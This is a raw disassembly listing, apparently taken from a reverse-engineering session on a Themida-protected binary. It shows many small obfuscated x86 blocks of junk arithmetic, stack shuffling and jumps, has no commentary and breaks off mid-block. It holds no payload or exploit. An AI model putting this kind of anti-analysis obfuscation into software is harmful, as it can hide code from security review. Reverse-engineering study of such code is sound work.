loc_59DEEB: ; CODE XREF: Themida_:00590B52j
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov cx, [esp]
push edi
push esp
pop edi
sub esp, 4
mov [esp], ebx
mov ebx, 4
sub edi, 1D744330h
sub edi, 0DC55B6Ch
add edi, 1A7902B2h
jmp loc_59C980
; ---------------------------------------------------------------------------
loc_59DF27: ; CODE XREF: Themida_:005A20B4j
push esi
mov esi, esp
push ebx
jmp loc_59BF95
; ---------------------------------------------------------------------------
loc_59DF30: ; CODE XREF: Themida_:005937BEj
mov edi, ebp
pop ebp
add eax, edi
mov edi, [esp]
jmp loc_5A0885
; ---------------------------------------------------------------------------
loc_59DF3D: ; CODE XREF: Themida_:0059327Bj
add ecx, 4
xchg ecx, [esp]
jmp loc_597FA9
; ---------------------------------------------------------------------------
loc_59DF48: ; CODE XREF: Themida_:0059B495j
pop esi
and eax, ecx
jmp loc_594E05
; ---------------------------------------------------------------------------
loc_59DF50: ; CODE XREF: Themida_:0059A8C5j
push esi
mov esi, esp
add esi, 4
push 33CAh
mov [esp], edx
push edi
mov edi, 7BF3280Bh
xor edi, 7BF3280Fh
mov edx, edi
pop edi
add esi, edx
mov edx, [esp]
add esp, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_59E27F
; ---------------------------------------------------------------------------
loc_59DF87: ; CODE XREF: Themida_:0059445Bj
xor dl, cl
xor cl, dl
xor dl, cl
sub dl, 48h
add al, dl
pop edx
push small 5BA8h
jmp loc_590753
; ---------------------------------------------------------------------------
loc_59DF9C: ; CODE XREF: Themida_:0059E6CEj
sub esp, 4
jmp loc_5977BE
; ---------------------------------------------------------------------------
loc_59DFA4: ; CODE XREF: Themida_:0059E2E3j
pop ebx
push eax
add dword ptr [esp], 40395871h
pop ebx
jmp loc_5A127F
; ---------------------------------------------------------------------------
loc_59DFB3: ; CODE XREF: Themida_:00596232j
mov ecx, 0
jmp loc_594050
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
mov esi, esp
push ebx
mov ebx, 26565890h
jmp loc_59A1C6
; ---------------------------------------------------------------------------
loc_59DFCF: ; CODE XREF: Themida_:0059A9FCj
mov [esp], ecx
jmp loc_59D98D
; ---------------------------------------------------------------------------
loc_59DFD7: ; CODE XREF: Themida_:005A266Cj
pop esp
jmp loc_59A280
; ---------------------------------------------------------------------------
loc_59DFDD: ; CODE XREF: Themida_:0058FCEAj
pop esi
mov esi, [esp]
push 4773h
jmp loc_597DEE
; ---------------------------------------------------------------------------
loc_59DFEB: ; CODE XREF: Themida_:00594CC2j
mov edi, 54237E09h
shl edi, 7
xor edi, 21F007EAh
dec edi
shr edi, 7
add edi, 35A28549h
mov esi, edi
pop edi
and ebx, esi
pop esi
sub ebx, 1FCB3E4Dh
add ebx, 9842A9C2h
sub ecx, ebx
pop ebx
add ebx, ecx
mov ecx, [esp]
add esp, 4
sub ebx, 6D076AD9h
add ebx, esi
add ebx, 6D076AD9h
sub ebx, 698458F0h
pop esi
add ebx, eax
push ebp
mov ebp, 282E7C2Ah
xor ebp, 333C0DC1h
sub ebx, ebp
jmp loc_59F09C
; ---------------------------------------------------------------------------
loc_59E04A: ; CODE XREF: Themida_:005947BDj
dec ebp
jmp loc_591BD6
; ---------------------------------------------------------------------------
loc_59E050: ; CODE XREF: Themida_:0059001Fj
push edi
mov edi, 56C6CF58h
xor ebx, edi
pop edi
jmp loc_5A3051
; ---------------------------------------------------------------------------
loc_59E05E: ; CODE XREF: Themida_:0059EE62j
push ebx
mov ebx, esp
jmp loc_59D464
; ---------------------------------------------------------------------------
loc_59E066: ; CODE XREF: Themida_:00594982j
push edx
not dword ptr [esp]
pop edx
add edx, 88407F88h
add esi, edx
pop edx
jmp loc_59F9CE
; ---------------------------------------------------------------------------
loc_59E079: ; CODE XREF: Themida_:005A10A7j
mov esi, 4
add ebx, esi
pop esi
sub ebx, 4
jmp loc_59802D
; ---------------------------------------------------------------------------
loc_59E08C: ; CODE XREF: Themida_:005949FBj
add edi, 48666262h
jmp loc_59116E
; ---------------------------------------------------------------------------
loc_59E097: ; CODE XREF: Themida_:0058E9E7j
push ebp
mov ebp, 498B05C6h
shl ebp, 6
jmp loc_58E6C5
; ---------------------------------------------------------------------------
loc_59E0A5: ; CODE XREF: Themida_:00592DC1j
push edx
mov dh, 0A1h
inc dh
shr dh, 5
shl dh, 6
jmp loc_59CF3F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_59E0B5: ; CODE XREF: sub_59DA2F+53BDj
push edx
push 4C70h
jmp loc_590024
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_59E0C0: ; CODE XREF: Themida_:0059F4BBj
pop ecx
add ecx, 202448F2h
pop ebx
and eax, ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 56EFh
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_59A0A5
; ---------------------------------------------------------------------------
loc_59E0EB: ; CODE XREF: Themida_:00593DE6j
xchg edi, [esp]
jmp loc_58F8FD
; ---------------------------------------------------------------------------
loc_59E0F3: ; CODE XREF: Themida_:0059A2BEj
add ecx, esi
pop esi
add edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_59A10E
; ---------------------------------------------------------------------------
loc_59E103: ; CODE XREF: Themida_:0059B54Bj
mov [esp], edx
push 3127h
jmp loc_58F51D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_59E110: ; CODE XREF: sub_59DA2F-F3BCj
neg ch
jmp loc_5A0647
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_59E117: ; CODE XREF: Themida_:00598AC8j
add eax, ebp
add eax, 610E0FFFh
pop ebp
jmp loc_58FF93
; ---------------------------------------------------------------------------
loc_59E124: ; CODE XREF: Themida_:0059441Aj
pop bx
jmp loc_5935C8
; ---------------------------------------------------------------------------
loc_59E12B: ; CODE XREF: Themida_:0059595Bj
add edi, 0BBC5626h
add ebx, 70346F3Ah
sub ebx, edi
jmp loc_5A2A5D
; ---------------------------------------------------------------------------
loc_59E13E: ; CODE XREF: Themida_:00590BC6j
sub ebp, esi
pop esi
xchg ebp, [esp]
pop esp
mov [esp], edi
push 29BFh
jmp loc_59317B
; ---------------------------------------------------------------------------
loc_59E152: ; CODE XREF: Themida_:00595349j
push edx
jmp loc_59953F
; ---------------------------------------------------------------------------
loc_59E158: ; DATA XREF: Themida_:0058E0ACo
push dword ptr [esp]
pop eax
push 31D8h
mov [esp], eax
jmp loc_599981
; ---------------------------------------------------------------------------
loc_59E169: ; CODE XREF: Themida_:00599C3Dj
mov ebp, 3B040EA0h
add ebx, ebp
pop ebp
push edx
push ebx
jmp loc_59C2CF
; ---------------------------------------------------------------------------
loc_59E178: ; CODE XREF: Themida_:0059FC8Aj
pop eax
push 6349h
mov [esp], esi
push esp
jmp loc_597979
; ---------------------------------------------------------------------------
loc_59E187: ; DATA XREF: Themida_:0058E110o
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59EC51
; ---------------------------------------------------------------------------
loc_59E192: ; CODE XREF: Themida_:00597FE8j
xchg esi, [esp]
pop esp
shl byte ptr [esp], cl
pushf
jmp loc_59141F
; ---------------------------------------------------------------------------
loc_59E19F: ; CODE XREF: Themida_:0059089Cj
add esi, edx
add esi, 1A111839h
pop edx
push edi
mov edi, 4
sub esi, edi
pop edi
push esi
push dword ptr [esp+4]
jmp loc_592631
; ---------------------------------------------------------------------------
loc_59E1BB: ; CODE XREF: Themida_:005921E5j
pop esp
mov [esp], esi
jmp loc_59217C
; ---------------------------------------------------------------------------
loc_59E1C4: ; CODE XREF: Themida_:005A2462j
mov [esp], eax
sub esp, 4
mov [esp], esi
jmp loc_59D32E
; ---------------------------------------------------------------------------
loc_59E1D5: ; CODE XREF: Themida_:0059A7CBj
pop esp
mov [esp], ebx
push esp
push dword ptr [esp]
pop ebx
jmp loc_58FB69
; ---------------------------------------------------------------------------
loc_59E1E3: ; CODE XREF: Themida_:00593754j
mov ecx, 0E1A0785h
or ecx, 625F315Dh
shr ecx, 7
sub ecx, 785F5F76h
push edx
mov edx, 0B5DD2E30h
xor ecx, edx
jmp loc_591D07
; ---------------------------------------------------------------------------
loc_59E204: ; CODE XREF: Themida_:00594CE5j
sub ebp, 64D7A0Fh
pop edi
sub esp, 4
mov [esp], esi
mov esi, 2
add ebp, esi
pop esi
push ebp
jmp loc_59ACDC
; ---------------------------------------------------------------------------
loc_59E222: ; CODE XREF: Themida_:005980CFj
pop edi
jmp loc_59CFC1
; ---------------------------------------------------------------------------
loc_59E228: ; CODE XREF: Themida_:005973F2j
pop eax
jmp loc_598B7A
; ---------------------------------------------------------------------------
loc_59E22E: ; CODE XREF: Themida_:0058EFD8j
dec ebx
jmp loc_59FC50
; ---------------------------------------------------------------------------
loc_59E234: ; CODE XREF: Themida_:00590FD5j
add esp, 4
add ecx, ebp
sub ecx, 7A484A3Bh
push dword ptr [esp]
jmp loc_5A1A07
; ---------------------------------------------------------------------------
loc_59E247: ; CODE XREF: Themida_:005963F4j
add ecx, edx
pop edx
jmp loc_59AF84
; ---------------------------------------------------------------------------
loc_59E24F: ; CODE XREF: Themida_:00598A9Cj
add esi, 1E843F39h
pop ebp
push 61E2h
mov [esp], edi
mov edi, 4
add esi, edi
pop edi
xchg esi, [esp]
jmp loc_5A2059
; ---------------------------------------------------------------------------
loc_59E26E: ; CODE XREF: Themida_:0059462Cj
sub esi, 5E3651D6h
sub esi, 681941B2h
jmp loc_5A164D
; ---------------------------------------------------------------------------
loc_59E27F: ; CODE XREF: Themida_:0059DF82j
push esi
mov esi, esp
jmp loc_598422
; ---------------------------------------------------------------------------
loc_59E287: ; CODE XREF: Themida_:0059157Ej
sub edi, 45DF7388h
jmp loc_592D2A
; ---------------------------------------------------------------------------
loc_59E292: ; CODE XREF: Themida_:005A26DEj
push dword ptr [esp]
pop edi
sub esp, 4
mov [esp], eax
push 1F70h
mov [esp], esp
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
add eax, 4
push edx
jmp loc_59DD05
; ---------------------------------------------------------------------------
loc_59E2BF: ; CODE XREF: Themida_:0059CA7Bj
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
shr eax, 0Bh
xor ecx, eax
jmp loc_5902F4
; ---------------------------------------------------------------------------
loc_59E2D2: ; CODE XREF: Themida_:00594927j
shr ebx, 6
add ebx, 47494142h
xor ebx, 67A49240h
mov eax, ebx
jmp loc_59DFA4
; ---------------------------------------------------------------------------
loc_59E2E8: ; CODE XREF: Themida_:0059B202j
mov [esp], ecx
jmp loc_59EB47
; ---------------------------------------------------------------------------
loc_59E2F0: ; CODE XREF: Themida_:0058E871j
mov eax, esp
push edx
mov edx, 1CB4243Ch
dec edx
or edx, 403549C2h
jmp loc_591E7E
; ---------------------------------------------------------------------------
loc_59E304: ; CODE XREF: Themida_:0059EE8Bj
xchg ecx, esi
not ecx
xchg ecx, esi
jmp loc_593EAE
; ---------------------------------------------------------------------------
loc_59E30F: ; CODE XREF: Themida_:005A125Bj
sub esp, 4
mov [esp], eax
push ebx
push 169E430Ah
pop ebx
inc ebx
xor ebx, 516E2A68h
mov eax, ebx
jmp loc_59549B
; ---------------------------------------------------------------------------
loc_59E32A: ; CODE XREF: Themida_:0059257Fj
add ebx, 3F881A13h
jmp loc_58ED79
; ---------------------------------------------------------------------------
loc_59E335: ; CODE XREF: Themida_:00590F4Fj
mov eax, 0A9947B9Ah
jmp loc_5916FA
; ---------------------------------------------------------------------------
loc_59E33F: ; CODE XREF: Themida_:005A30AAj
mov esi, [esp]
jmp loc_5A19B4
; ---------------------------------------------------------------------------
loc_59E347: ; CODE XREF: Themida_:00597170j
pop ebx
add esp, 4
pop ebx
add ebx, 3B5B2DEEh
jmp loc_594EB0
; ---------------------------------------------------------------------------
loc_59E35A: ; CODE XREF: Themida_:00599320j
xchg ebp, [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
push edi
push 49D97BF2h
jmp loc_5A2079
; ---------------------------------------------------------------------------
loc_59E374: ; CODE XREF: Themida_:005A0DADj
push edx
mov edx, 254749C9h
inc edx
add edx, 1D150FC8h
jmp loc_59FC8F
; ---------------------------------------------------------------------------
loc_59E386: ; CODE XREF: Themida_:005933DEj
push ebp
mov ebp, 570F09B2h
push 7610h
mov [esp], ebp
not dword ptr [esp]
mov ebp, [esp]
add esp, 4
shr ebp, 7
push edi
push ecx
mov ecx, 0ED64DB8h
and ecx, 28981678h
inc ecx
sub ecx, 22CE5605h
add ecx, 0F78A0A57h
mov edi, ecx
jmp loc_594E76
; ---------------------------------------------------------------------------
loc_59E3C4: ; CODE XREF: Themida_:0058F6F9j
push dword ptr [esp]
pop esi
add esp, 4
add esp, 4
push 464Dh
mov [esp], edx
push 10h
push dword ptr [esp]
mov edx, [esp]
add esp, 4
sub esp, 4
jmp loc_58F558
; ---------------------------------------------------------------------------
loc_59E3F2: ; CODE XREF: Themida_:0059D289j
push 1A3Ah
mov [esp], esi
jmp loc_59FADD
; ---------------------------------------------------------------------------
loc_59E3FF: ; CODE XREF: Themida_:0059ED7Ej
xchg ah, [esp+1]
not ah
xchg ah, [esp+1]
pop bx
jmp loc_591369
; ---------------------------------------------------------------------------
loc_59E410: ; CODE XREF: Themida_:0059BF90j
push 74C1h
mov [esp], eax
mov ah, bh
mov dh, ah
push dword ptr [esp]
mov eax, [esp]
push esi
mov esi, esp
push ebp
mov ebp, 0F6503D4h
shr ebp, 8
shl ebp, 3
and ebp, 43407D36h
sub ebp, 5200564h
add ebp, 4DFDD58h
add esi, ebp
pop ebp
jmp loc_58E535
; ---------------------------------------------------------------------------
loc_59E44B: ; CODE XREF: Themida_:0058EF81j
mov ebx, [esp]
jmp loc_58FE6D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_59E453: ; CODE XREF: sub_591554+7327j
shr ebp, 7
add ebp, 1A1F3C5Dh
push edx
mov edx, 7DD3289Ch
or edx, 6A2D56DFh
not edx
jmp loc_597575
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_59E46F: ; CODE XREF: Themida_:005A272Aj
add esp, 4
pop ebx
jmp loc_59787C
; ---------------------------------------------------------------------------
loc_59E47B: ; CODE XREF: Themida_:00598B3Ej
mov esi, 683553B0h
xor esi, 52D62223h
dec esi
and esi, 79DC626Dh
add esi, 373302Fh
add esi, 0FFB0CD94h
add ebx, esi
pop esi
sub ebx, 325D004Ch
add ebx, eax
push eax
push edi
jmp loc_5966DA
; ---------------------------------------------------------------------------
loc_59E4AB: ; CODE XREF: Themida_:00598F68j
mov eax, esp
jmp loc_5A2FD8
; ---------------------------------------------------------------------------
loc_59E4B2: ; CODE XREF: Themida_:0058F8F8j
dec edi
xor edi, 1EFC0CC6h
not edi
and edi, 49015305h
push 0AA8h
mov [esp], ebx
mov ebx, 48F47A31h
jmp loc_5A2CCD
; ---------------------------------------------------------------------------
loc_59E4D3: ; CODE XREF: Themida_:005A0B49j
xor eax, ecx
push eax
mov eax, esp
add eax, 4
jmp loc_5A1036
; ---------------------------------------------------------------------------
loc_59E4E2: ; CODE XREF: Themida_:00597BD9j
push 3D9Bh
jmp loc_599FBC
; ---------------------------------------------------------------------------
loc_59E4EC: ; CODE XREF: Themida_:00598641j
shr ebp, 7
add ebp, 1B30A879h
xor eax, ebp
pop ebp
jmp loc_5A118A
; ---------------------------------------------------------------------------
loc_59E4FD: ; CODE XREF: Themida_:0059B739j
sub edi, esi
add edi, 99D0F40h
jmp loc_5947AE
; ---------------------------------------------------------------------------
loc_59E50A: ; CODE XREF: Themida_:005A3031j
pop ecx
jmp loc_5911FB
; ---------------------------------------------------------------------------
loc_59E510: ; CODE XREF: Themida_:0059D652j
pop ebx
or eax, esi
pop esi
xor eax, 2DDB7CF5h
sub ebp, 4E34413Dh
add ebp, 58815BBEh
sub ebp, 42213505h
add ebp, eax
add ebp, 42213505h
sub ebp, 58815BBEh
add ebp, 4E34413Dh
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_59EC7D
; ---------------------------------------------------------------------------
loc_59E54F: ; CODE XREF: Themida_:0059110Aj
pop ebx
jmp loc_58F801
; ---------------------------------------------------------------------------
loc_59E555: ; CODE XREF: Themida_:0058FC01j
mov esp, [esp]
push 721Ah
mov [esp], eax
jmp loc_5961D0
; ---------------------------------------------------------------------------
loc_59E565: ; CODE XREF: Themida_:005935E6j
push esp
pop eax
add eax, 4
sub eax, 4
push eax
push dword ptr [esp+4]
jmp loc_594F94
; ---------------------------------------------------------------------------
loc_59E579: ; CODE XREF: Themida_:005987C4j
push edi
mov edi, 21143054h
shr edi, 5
jmp loc_58ED6F
; ---------------------------------------------------------------------------
loc_59E587: ; CODE XREF: Themida_:00596F31j
add esp, 4
add esp, 4
jmp loc_5962CD
; ---------------------------------------------------------------------------
loc_59E595: ; CODE XREF: Themida_:005A1460j
pop ebx
jmp loc_596A2F
; ---------------------------------------------------------------------------
loc_59E59B: ; CODE XREF: Themida_:0058FDF5j
push ecx
mov ecx, 4
sub ebx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_591405
; ---------------------------------------------------------------------------
loc_59E5B2: ; CODE XREF: Themida_:00591169j
push ebp
mov ebp, 2CF53DA2h
mov ebx, 57E9DA70h
xor ebx, ebp
mov ebp, [esp]
add esp, 4
add ebp, ebx
jmp loc_590BFB
; ---------------------------------------------------------------------------
loc_59E5CF: ; CODE XREF: Themida_:005991B2j
add esp, 4
sub esp, 4
mov [esp], edi
push esp
jmp loc_58FEB2
; ---------------------------------------------------------------------------
loc_59E5DE: ; CODE XREF: Themida_:005992A1j
shr eax, 8
sub esp, 4
mov [esp], ebx
mov ebx, 6D330307h
jmp loc_591321
; ---------------------------------------------------------------------------
loc_59E5F4: ; CODE XREF: Themida_:0059871Ej
mov ebx, [esp]
add esp, 4
add ax, 5A39h
add ax, di
sub ax, 5A39h
mov edi, [esp]
add esp, 4
sub ax, 2D84h
add ax, bx
jmp loc_5967C1
; ---------------------------------------------------------------------------
loc_59E617: ; CODE XREF: Themida_:0059EA6Aj
add cl, 0Fh
and cl, 10h
jmp loc_5969A4
; ---------------------------------------------------------------------------
loc_59E622: ; CODE XREF: Themida_:0059BBB8j
add esp, 4
push edx
mov edx, 0FFFFFFFFh
sub ebp, edx
pop edx
xor ebp, 46C810FBh
jmp loc_59B0DA
; ---------------------------------------------------------------------------
loc_59E639: ; CODE XREF: Themida_:0059E902j
mov edi, eax
pop eax
not edi
inc edi
and edi, 21DE59AFh
push esi
mov esi, 633A4237h
xor edi, esi
jmp loc_58FF27
; ---------------------------------------------------------------------------
loc_59E652: ; CODE XREF: Themida_:005947EAj
or ebx, ebx
jnz loc_59810A
push eax
push 20h
push dword ptr [esp]
jmp loc_59A923
; ---------------------------------------------------------------------------
loc_59E668: ; CODE XREF: Themida_:005948FEj
mov ecx, esp
jmp loc_58FD3E
; ---------------------------------------------------------------------------
loc_59E66F: ; CODE XREF: Themida_:0058EF93j
mov ebp, 75394E82h
add ebp, 0FFFFFFFFh
xor ebp, 47902C7Ch
or edi, ebp
pop ebp
push edx
mov edx, esp
add edx, 4
jmp loc_593A63
; ---------------------------------------------------------------------------
loc_59E691: ; CODE XREF: Themida_:00591C7Bj
add al, 0B0h
jmp loc_59C85F
; ---------------------------------------------------------------------------
loc_59E698: ; CODE XREF: Themida_:005A188Dj
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_5A1796
; ---------------------------------------------------------------------------
loc_59E6A4: ; CODE XREF: Themida_:00591759j
shr eax, 4
not eax
dec eax
shl eax, 2
xor eax, 0B2538ED8h
sub esi, eax
jmp loc_590B94
; ---------------------------------------------------------------------------
loc_59E6B9: ; CODE XREF: Themida_:005A0A84j
xchg esi, [esp]
pop esp
jmp loc_590BF0
; ---------------------------------------------------------------------------
loc_59E6C2: ; CODE XREF: Themida_:0059CE66j
add esp, 4
add ecx, 4
jmp loc_59DF9C
; ---------------------------------------------------------------------------
loc_59E6D3: ; CODE XREF: Themida_:0059EEB0j
xchg esi, edx
not esi
xor edx, esi
xor esi, edx
xor edx, esi
jmp loc_5A21AE
; ---------------------------------------------------------------------------
loc_59E6E2: ; CODE XREF: Themida_:005983CEj
add esp, 4
push 5CA0h
mov [esp], edx
push ebx
mov ebx, esp
jmp loc_59CBF4
; ---------------------------------------------------------------------------
loc_59E6F5: ; CODE XREF: Themida_:0059FF6Ej
pop edi
sub edx, 5A800D6Ah
add edx, edi
add edx, 5A800D6Ah
add edx, 4B43081Fh
push ebx
jmp loc_5A2FB4
; ---------------------------------------------------------------------------
loc_59E710: ; CODE XREF: Themida_:0059F3CFj
push edi
mov edi, 2EF3109h
jmp loc_5950A6
; ---------------------------------------------------------------------------
loc_59E71B: ; CODE XREF: Themida_:0059F69Ej
pop esp
jmp loc_59CB40
; ---------------------------------------------------------------------------
loc_59E721: ; CODE XREF: Themida_:00591086j
neg edx
push ebx
mov ebx, 145227B6h
or edx, ebx
pop ebx
shr edx, 8
and edx, 2C1D751Fh
jmp loc_5939F1
; ---------------------------------------------------------------------------
loc_59E73A: ; CODE XREF: Themida_:00590A62j
pop edx
pop edi
and eax, ebx
mov ebx, [esp]
add esp, 4
jmp loc_59D4A0
; ---------------------------------------------------------------------------
loc_59E749: ; CODE XREF: Themida_:005A2E93j
mov edx, 4EE57D37h
shr edx, 6
not edx
inc edx
neg edx
xor edx, 3060573Bh
shr edx, 8
jmp loc_5963EB
; ---------------------------------------------------------------------------
loc_59E764: ; CODE XREF: Themida_:00591114j
add esi, 4
add esi, 4
jmp loc_59B122
; ---------------------------------------------------------------------------
loc_59E775: ; CODE XREF: Themida_:005984D6j
mov ch, 0ACh
xor bh, ch
pop cx
xor bh, 98h
sub bh, 0D6h
sub al, bh
mov ebx, [esp]
add esp, 4
sub al, ch
add al, 13h
jmp loc_5A20FE
; ---------------------------------------------------------------------------
loc_59E795: ; CODE XREF: Themida_:005A2A58j
push ebx
sub esp, 4
mov [esp], edx
push 5ECF6095h
pop edx
xor edx, 0ADA43A0h
mov ebx, edx
pop edx
neg ebx
add ebx, 54152339h
push esi
mov esi, 56EC5143h
push edx
jmp loc_5902E1
; ---------------------------------------------------------------------------
loc_59E7C2: ; CODE XREF: Themida_:005A25A2j
push eax
mov eax, 11B56B90h
shl eax, 2
neg eax
sub eax, 7D7E68D7h
jmp loc_5A16DB
; ---------------------------------------------------------------------------
loc_59E7D7: ; CODE XREF: Themida_:0059D5B4j
push 588h
mov [esp], ecx
mov cl, 19h
not cl
jmp loc_598FCE
; ---------------------------------------------------------------------------
loc_59E7E8: ; CODE XREF: Themida_:0059146Dj
sub ebx, edx
pop edx
dec ebx
push ebp
mov ebp, 450945C6h
xor ebp, 0B752A8F3h
sub ebx, ebp
jmp loc_590C89
; ---------------------------------------------------------------------------
loc_59E7FF: ; CODE XREF: Themida_:0059927Fj
push edx
mov edx, 4F264D73h
push edx
add dword ptr [esp], 4A727CC7h
pop eax
push ebx
jmp loc_5947EF
; ---------------------------------------------------------------------------
loc_59E814: ; CODE XREF: Themida_:00599455j
push edi
push 55494E94h
mov edi, [esp]
add esp, 4
neg edi
sub edi, 0AAB6B168h
add ecx, 19355CAh
add ecx, edi
sub ecx, 19355CAh
jmp loc_59D603
; ---------------------------------------------------------------------------
loc_59E83B: ; CODE XREF: Themida_:00591EE9j
and ebp, 18661F4Dh
push ebp
not dword ptr [esp]
pop ebp
jmp loc_5954EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_59E84B: ; CODE XREF: sub_59DA2F-91FFj
inc ebx
push ebx
not [esp+4+var_4]
pop ebx
not ebx
xor ebx, 7557BACAh
add ecx, ebx
mov ebx, [esp+0]
add esp, 4
sub ecx, 2
xchg ecx, [esp-4+arg_0]
jmp loc_59A108
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_59E86F: ; CODE XREF: Themida_:005A2EC2j
pop esp
jmp loc_5995C9
; ---------------------------------------------------------------------------
loc_59E875: ; CODE XREF: Themida_:005967BCj
push edx
push ebx
mov bh, 0F5h
jmp loc_595AD4
; ---------------------------------------------------------------------------
loc_59E87E: ; CODE XREF: Themida_:0059F810j
mov ecx, 64942BC4h
not ecx
xor ecx, 406217A2h
sub ecx, 64247595h
jmp loc_58EBA1
; ---------------------------------------------------------------------------
loc_59E896: ; CODE XREF: Themida_:005919F8j
add ebp, 994F1856h
add eax, ebp
jmp loc_5A0CA8
; ---------------------------------------------------------------------------
loc_59E8A3: ; CODE XREF: Themida_:00599AE1j
add edx, ebx
push esi
mov esi, 4D701C30h
shr esi, 8
or esi, 218464F3h
jmp loc_5A141E
; ---------------------------------------------------------------------------
loc_59E8B9: ; CODE XREF: Themida_:0059622Aj
mov ebp, esp
jmp loc_5A2F39
; ---------------------------------------------------------------------------
loc_59E8C0: ; CODE XREF: Themida_:005A24E3j
mov esp, [esp]
mov fs:[edx], al
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59E8CB: ; CODE XREF: Themida_:005A1994j
sub ecx, ebp
pop ebp
shl ecx, 1
xor ecx, 66837B42h
xor ecx, 56BEB3B8h
push ecx
pop esi
push dword ptr [esp]
pop ecx
jmp loc_595E6E
; ---------------------------------------------------------------------------
loc_59E8E7: ; CODE XREF: Themida_:00594499j
pop esi
shr eax, 5
shl eax, 8
push ecx
push esi
mov esi, 170F179Dh
mov ecx, esi
pop esi
dec ecx
sub ecx, 8C13B6C9h
xor eax, ecx
pop ecx
jmp loc_59E639
; ---------------------------------------------------------------------------
loc_59E907: ; CODE XREF: Themida_:00598A89j
xor [esp], ecx
jmp loc_5909E4
; ---------------------------------------------------------------------------
loc_59E90F: ; CODE XREF: Themida_:00599540j
pop edx
push 5Ch
mov [esp], ecx
jmp loc_591D45
; ---------------------------------------------------------------------------
loc_59E91D: ; CODE XREF: Themida_:005A0CC2j
mov eax, 4
add ebx, eax
mov eax, [esp]
jmp loc_59297C
; ---------------------------------------------------------------------------
loc_59E92C: ; CODE XREF: Themida_:005A1EB5j
xchg edx, [esp]
pop esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_5A1FB8
; ---------------------------------------------------------------------------
loc_59E944: ; CODE XREF: Themida_:0059FE08j
push dword ptr [esp]
mov edi, [esp]
jmp loc_5955A1
; ---------------------------------------------------------------------------
loc_59E94F: ; CODE XREF: Themida_:005929CBj
push ebx
mov ebx, 23D2377Eh
sub eax, ebx
pop ebx
jmp loc_5A316D
; ---------------------------------------------------------------------------
loc_59E95D: ; CODE XREF: Themida_:0059DD86j
add bl, 0B0h
add bl, dl
sub bl, 0B0h
mov edx, [esp]
push eax
mov eax, esp
push ecx
mov ecx, 4
add eax, ecx
jmp loc_58FCAB
; ---------------------------------------------------------------------------
loc_59E978: ; CODE XREF: Themida_:0059BA12j
mov edx, 460C3C98h
mov esi, edx
pop edx
push edx
jmp loc_59B5D5
; ---------------------------------------------------------------------------
loc_59E986: ; CODE XREF: Themida_:005A0E53j
mov [esp], edx
add byte ptr [esp], 0FFh
push dword ptr [esp]
jmp loc_59D01D
; ---------------------------------------------------------------------------
loc_59E995: ; CODE XREF: Themida_:0059366Dj
mov esp, [esp]
jmp loc_591E62
; ---------------------------------------------------------------------------
loc_59E99D: ; CODE XREF: Themida_:00590B06j
mov edx, 4
sub esi, 56131577h
add esi, edx
add esi, 56131577h
jmp loc_59A2C3
; ---------------------------------------------------------------------------
loc_59E9B5: ; CODE XREF: Themida_:0059AEBBj
mov edi, 0D363EE5h
jmp loc_593509
; ---------------------------------------------------------------------------
loc_59E9BF: ; CODE XREF: Themida_:0059888Fj
xor ebp, 889108ADh
sub ecx, ebp
pop ebp
or ecx, 716121E4h
shr ecx, 3
or ecx, 18C0041Dh
jmp loc_5939B8
; ---------------------------------------------------------------------------
loc_59E9DC: ; CODE XREF: Themida_:00599726j
xor edx, 688B38DBh
or esi, edx
pop edx
xor esi, 1BC93D15h
push ecx
mov ecx, 25C74DDCh
jmp loc_599DEA
; ---------------------------------------------------------------------------
loc_59E9F6: ; CODE XREF: Themida_:0059F142j
neg eax
add eax, 0FFFFFFFFh
push 5F28h
jmp loc_5934B0
; ---------------------------------------------------------------------------
loc_59EA07: ; CODE XREF: Themida_:0059ED5Aj
pop ecx
push 2FFFh
mov [esp], ebx
push edx
push 162Fh
mov [esp], ecx
mov cl, 0ADh
push ecx
mov ch, 0A9h
mov dl, 5Ch
add dl, ch
pop ecx
sub dl, cl
mov ecx, [esp]
add esp, 4
push bx
mov bh, 49h
xor dl, bh
pop bx
push ax
mov al, dl
not al
mov dl, al
pop ax
shr dl, 7
push ebx
mov bl, 3Bh
shr bl, 4
shl bl, 2
sub bl, 29h
sub bl, 9Ch
and dl, bl
pop ebx
jmp loc_59B305
; ---------------------------------------------------------------------------
loc_59EA57: ; CODE XREF: Themida_:0059BD96j
push 3B74h
mov [esp], ecx
push ebx
mov bh, 98h
push ebx
mov bh, 83h
mov cl, 22h
add cl, bh
pop ebx
jmp loc_59E617
; ---------------------------------------------------------------------------
loc_59EA6F: ; CODE XREF: Themida_:00599CACj
push ebx
push esp
mov ebx, [esp]
jmp loc_590A8C
; ---------------------------------------------------------------------------
loc_59EA79: ; CODE XREF: Themida_:00593E48j
xor al, bl
push edx
push ecx
jmp loc_5A1D30
; ---------------------------------------------------------------------------
loc_59EA82: ; CODE XREF: Themida_:0059A0B1j
mov edi, 255C0736h
sub edx, edi
